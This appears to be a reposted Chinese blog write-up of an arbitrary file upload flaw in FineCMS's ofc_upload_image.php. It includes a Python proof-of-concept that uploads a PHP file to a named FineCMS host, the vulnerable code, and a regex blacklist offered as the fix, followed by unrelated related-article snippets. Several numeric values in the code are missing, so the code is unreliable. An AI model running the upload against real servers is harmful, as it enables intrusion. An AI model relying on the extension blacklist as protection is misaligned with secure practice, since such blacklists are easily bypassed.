FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2015-0105251
2. 漏洞触发条件
0x1: POC
#!/usr/bin/env python
# -*- coding: utf- -*-
#__author__ = '1c3z' import urllib2
import random fileName = "shell" + str(random.randrange(,)) + ".php"
target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" def uploadShell():
url = target + "?name=" + fileName
req = urllib2.Request(url, headers={"Content-Type": "application/oct"})
res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
return res.read() def poc():
res = uploadShell()
if res.find("tmp-upload-images") == -:
print "Failed !"
return print "upload Shell success"
url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
md5 = urllib2.urlopen(url).read()
if md5.find("e369853df766fa44e1ed0ff613f563bd") != -:
print "poc: " + url poc()
3. 漏洞影响范围
4. 漏洞代码分析
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, , true);
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
程序未对上传文件进行任何后缀、内容的检测和过滤
5. 防御方法
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path))
mkdir($default_path, , true); $destination = $default_path . basename( $_GET[ 'name' ] ); /* */
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination)))
{
die("你指定的文件名被系统禁止!");
}
/* */ echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul的更多相关文章
- [EXP]Adobe ColdFusion 2018 - Arbitrary File Upload
# Exploit Title: Unrestricted # Google Dork: ext:cfm # Date: -- # Exploit Author: Pete Freitag of Fo ...
- Fckeditor PHP/ASP File Upload Vul
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScrip ...
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- CVE-2019-0214: Apache Archiva arbitrary file write and delete on the server
CVE-2019-0214: Apache Archiva arbitrary file write and delete on the server Severity: Medium Vendor: ...
- 【转发】Html5 File Upload with Progress
Html5 File Upload with Progress Posted by Shiv Kumar on 25th September, 2010Senior Sof ...
- jQuery File Upload 单页面多实例的实现
jQuery File Upload 的 GitHub 地址:https://github.com/blueimp/jQuery-File-Upload 插件描述:jQuery File Upload ...
- jQuery File Upload done函数没有返回
最近在使用jQuery File Upload 上传图片时发现一个问题,发现done函数没有callback,经过一番折腾,找到问题原因,是由于dataType: ‘json’造成的,改为autoUp ...
- kindeditor多图片上传找不到action原来是private File upload成员变量惹得祸
kindeditor多图片上传找不到action原来是private File upload成员变量惹得祸
- 用jQuery File Upload做的上传控件demo,支持同页面多个上传按钮
需求 有这么一个需求,一个form有多个文件要上传,但又不是传统的图片批量上传那种,是类似下图这种需求,一开始是用的swfupload做的上传,但是问题是如果有多个按钮的话,就要写很多重复的代码,于为 ...
随机推荐
- mysql ERROR 1045 (28000): Access denied for user解决方法
一 这种情况下是 root@% update mysql.user set host='%' where user='root' and host='localhost'; flush privile ...
- [TED] New video technology that reveals an objects hidden properties
通过视频中,即使1微米的震动,都能够还原成声音. 程序算法结合基础学科,能够发挥出接近无限的力量, 深入挖掘物理特性,形成你想都想不到的效果. 很多技术你都不知道,怎么和国家对抗?所以还是要遵纪守法 ...
- java:POI导出excel
POI是一个开源项目,专用于java平台上操作MS OFFICE,企业应用开发中可用它方便导出Excel. 下面是使用示例: 1.maven中先添加依赖项 <dependency> < ...
- Theano2.1.15-基础知识之theano如何处理shapre信息
来自:http://deeplearning.net/software/theano/tutorial/shape_info.html How Shape Information is Handled ...
- win7下IIS配置以及域名映射方法
win7下IIS配置以及域名映射方法 第一步:打开控制面板,选择程序与功能,如下图: 第二步:双击打开程序与功能面板,如下图: 第三步:打开”打开或关闭windows功能”(红线圈起来的地方),如下图 ...
- UltraEdit 编译输出中文乱码的解决办法
配置UE的时候,都告诉大家javac %n%e 接可以了,但是再运行的时候,会出现乱码,再加上-J-Duser.language=GBK就可以了,也就是下面的样子. javac -J-Duser. ...
- C语言文件的读写
对文件的读和写是最常用的文件操作.在C语言中提供了多种文件读写的函数: 字符读写函数 :fgetc和fputc 字符串读写函数:fgets和fputs 数据块读写函数:freed和fwrite 格式 ...
- JavaScript学习笔记-简单的欢迎cookie
0<!DOCT0000YPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml&quo ...
- mysql 启动失败
1 mysql 启动时报:MySQL Daemon failed to start.并且启动失败 2 查看mysql log日志 less /var/log/mysqld.log 3 从两行erro ...
- Spring学习进阶 (三) Spring AOP
一.是什么AOP是Aspect Oriented Programing的简称,最初被译为“面向方面编程”:AOP通过横向抽取机制为无法通过纵向继承体系进行抽象的重复性代码提供了解决方案.比如事务的控制 ...